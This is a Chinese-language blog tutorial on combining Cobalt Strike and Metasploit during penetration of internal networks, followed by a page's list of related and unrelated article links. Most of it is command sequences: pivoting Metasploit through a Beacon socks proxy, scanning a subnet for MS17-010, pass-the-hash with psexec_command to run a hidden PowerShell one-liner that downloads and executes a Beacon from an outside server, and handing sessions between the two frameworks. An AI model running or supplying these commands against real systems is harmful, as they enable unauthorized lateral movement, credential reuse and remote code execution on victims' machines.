前言

CobalStrike 与 Metasploit 均是渗透利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。

内置Socks功能

通过Beacon内置的socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透。

当然,也可以把代理设置在其他的工具上,不限于Proxychains、Proxifier等

首先,到已控目标机的Beacon下将socks代理开启。

1
beacon > socks 1024 #端口根据VPS实际情况进行设置

点开菜单栏中的View > Proxy Pivots,复制代理连接到Metasploit中。

本地启动Metasploit,挂上代理,就可以对目标内网进行各种探测搜集。如 探测目标内网中存在MS17_010漏洞的主机,这也是内网拿主机权限利用方式之一。

1
msf5 > setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置)
2
msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)
3
msf5 > use auxiliary/scanner/smb/smb_ms17_010
4
msf5 > set rhosts 192.168.144.0/24
5
msf5 > set threads 100 #内网渗透时线程不要太高!
6
msf5 > run

利用MSF模块上线Beacon shell

当通过其它方式拿到了目标内网中某台Windows机器的本地管理员明文密码或hash时,可利用Metasploit下auxiliary/admin/smb/psexec_command模块,直接上线指定目标机器的Beacon shell。(前提目标机可出网)

先利用CobalStrike生成上线Beacon的powershell。

本地启动Metasploit,挂上代理,设置psexec_command模块参数。

1
msf5 > setg Proxies socks4/5:ip:port
2
msf5 > use auxiliary/admin/smb/psexec_command
3
msf5 > set rhosts 192.168.144.0/24
4
msf5 > set threads 10
5
msf5 > set smbuser administrator
6
msf5 > set smbpass aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 #明文、密文均可
7
msf5 > set command powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://149.28.xx.xx:80/a'))" #上线CS的powershell,目标机存在杀软需考虑
8
msf5 > run

最终,只要密码一致、 能出网,且未被杀软阻止的均会成功上线。

CS与MSF会话互传

CobaltStrike派生Metasploit

当CobaltStrike获得了一个上线机器,想把这个目标传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令:

1
msf5 > use exploit/multi/handler
2
msf5 > set payload windows/meterpreter/reverse_tcp #不要用x64的payload
3
msf5 > set lhost 10.11.42.99
4
msf5 > set lport 5353
5
msf5 > run -j

之后使用CobaltStrike创建一个windows/foreign/reverse_tcp的Listener。其中IP为Metasploit的监听地址,端口为Metasploit所监听的端口。

然后选中计算机,右键->Spawn:选择MSF的监听器:

这个时候可以看到,Metasploit上的监听已经上线,现在可以对meterpreter获得的session进行控制。

Metasploit派生CobaltStrike

现在已经获得了一个meterpreter的session,把session传给CobaltStrike。

在CobaltStrike中创建一个监听者,和上一步类似,这里host需要修改为CobaltStrike客户端IP,创建好之后便监听8099端口,等待着被控机连接。

接下来,把meterpreter获得的session转交给CobaltStrike,在Metasploit执行以下命令:

1
meterpreter > background 
2
msf5 > use exploit/windows/local/payload_inject 
3
msf5 > set payload windows/meterpreter/reverse_http
4
msf5 > set lhost 192.168.144.174
5
msf5 > set lport 8099
6
msf5 > set DisablePayloadHandler true   
7
msf5 > set session 1
8
msf5 > run

解释一下这些参数。由于CobaltStrike的监听器我们使用的是:

windows/beacon_http/reverse_http

所以我们的payload也要使用:

payload windows/meterpreter/reverse_http

设置本地监听IP和端口:由于监听器是CobaltStrike的,所以要设置成CobaltStrike机器的IP与端口。

默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置:

set DisablePayloadHandler true

设置当前的session,执行run。

此时目标机便已成功从CobaltStrike上线。

总结

关于CobalStrike与Metasploit 的联动利用方式远不止这些,每种方式在实战中都有对应的应用场景,更需要探索与总结。

CobaltStrike与Metasploit实战联动的更多相关文章

  1. CobaltStrike与Metasploit联动配合

    利用CobaltStrike内置Socks功能 通过Beacon内置的Socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透. 首先,到已 ...

  2. CobaltStrike 和 Metasploit 联动

    出品|MS08067实验室(www.ms08067.com) 本文作者:掉到鱼缸里的猫(Ms08067内网安全小组成员) 个人觉得CobaltStrike图形化的界面和丰富的功能,是一个超强的后渗透框 ...

  3. Cobaltstrike与Metasploit会话转换

    这里只做记录,不做详解 0x00 实验环境 被控制机:192.168.126.129 Metasploit:192.168.126.128 Cobaltstrike:182...* 0x01 CS会话 ...

  4. Cobaltstrike与MSF会话派生

    Cobaltstrike与MSF会话派生 前言 一般在渗透的过程中,Get到shell之后一般来说我喜欢上线到Cobaltstrike,但是Cobaltstrike的会话是60S更新一次,有时候功能也 ...

  5. cobaltstrike的使用

    0x01 介绍 Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器.Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以 ...

  6. 2017-2018-2 20155303『网络对抗技术』Exp6:信息收集与漏洞扫描

    2017-2018-2 20155303『网络对抗技术』 Exp6:信息收集与漏洞扫描 --------CONTENTS-------- 一.原理与实践说明 1.实践内容 2.基础问题 二.实践过程记 ...

  7. w4sp-lab安装

    扯淡 i春秋有个答题活动,苟了个奖品,我选了一本书:<wireshark与metasploit实战指南>,里面有个配套环境,本来看着书上说使用docker搭建的,以为很简单,只需要pull ...

  8. CobaltStrike + Metasploit 联动使用

    本节的知识摘要: 通过 beacon内置的 socks功能将本地 Msf直接代入目标内网 借助 CobaltStrike的外部 tcp监听器通过 ssh隧道直接派生一个 meterpreter到本地 ...

  9. Cobaltstrike、armitage联动

    i 春秋作家:fengzi 原文来自:Cobaltstrike.armitage联动 在使用Cobaltstrike的时候发现他在大型或者比较复杂的内网环境中,作为内网拓展以及红队工具使用时拓展能力有 ...

随机推荐

  1. idea引入项目下所有文件(ps:包括静态文件夹)

    打开项目的目录结构 点击finish 最后删除目录下多余的src就可以了

  2. 可读性 vs 效率

    哪个重要. 应用层代码来说,实际上说任意一个重要都不为过, 但是到了内核里面之后,哪个重要. 肯定是效率阿,内核跑得慢,上面还有得玩么.

  3. CSS代码命名惯例语义化的方法

    CSS代码的命名惯例一直是大家热门讨论的话题.今天暴风彬彬想通过分析一个流行三栏布局中的必要元素,来为大家讲解关于使用语义化方法替代结构化方法来命名CSS类的建议和指导. 您还可以参考彬Go的相关文章 ...

  4. 天才ACM

    天才ACM 给定一个整数m,定义一个集合的权值为从这个集合中任意选出m对数(不够没关系,选到尽可能选,凑不成对的舍去),每对数两个数的差的平方的和的最大值. 现在给出一个数列\(\{a_i\}\),询 ...

  5. Centos 6.5 python版本升级到2.7.8

    Centos6.5默认的 python版本是2.6 为了使用aliyuncli工具,直接用pip安装aliyuncli提示错误. 所以决定升级下python版本,但是yum依赖于python2.6,升 ...

  6. CSS——精灵技术

    精灵技术产生的背景 图所示为网页的请求原理图,当用户访问一个网站时,需要向服务器发送请求,网页上的每张图像都要经过一次请求才能展现给用户. 然而,一个网页中往往会应用很多小的背景图像作为修饰,当网页中 ...

  7. MySql学习笔记(一)之DQL常用查询

    MySql学习笔记(一)之DQL常用查询 前言:mysql是中小型的数据库软件,SQL语言分为DDL,DCL,DML,DQL四种,在这里重点讲解DQL的单表查询. 正文:在学习mysql单表查询之前, ...

  8. duilib教程之duilib入门简明教程8.完整的自绘标题栏

    看了前面那么多教程,相信对duilib已有基本映像了,我们就快马加鞭,做出一个完整的自绘标题栏吧~    看到下面这个效果图,小伙伴们是不是有点惊呆了呢~O(∩_∩)O~      duilib实现以 ...

  9. Spring整合Dubbo框架

    Dubbo作为一个RPC框架,其最核心的功能就是要实现跨网络的远程调用.演示过程创建两个小工程,一个作为服务的提供者,一个作为服务的消费者.通过Dubbo来实现服务消费者远程调用服务提供者的方法. d ...

  10. (转)JS的splice()方法在for循环中的使用问题

    在写JS代码时,我们常常使用 splice 函数来删除数组中的元素,因为 splice 函数会直接对数组进行修改,从而不需再自己写一个算法来移动数组中的其他元素填补到被删除的位置.splice 功能十 ...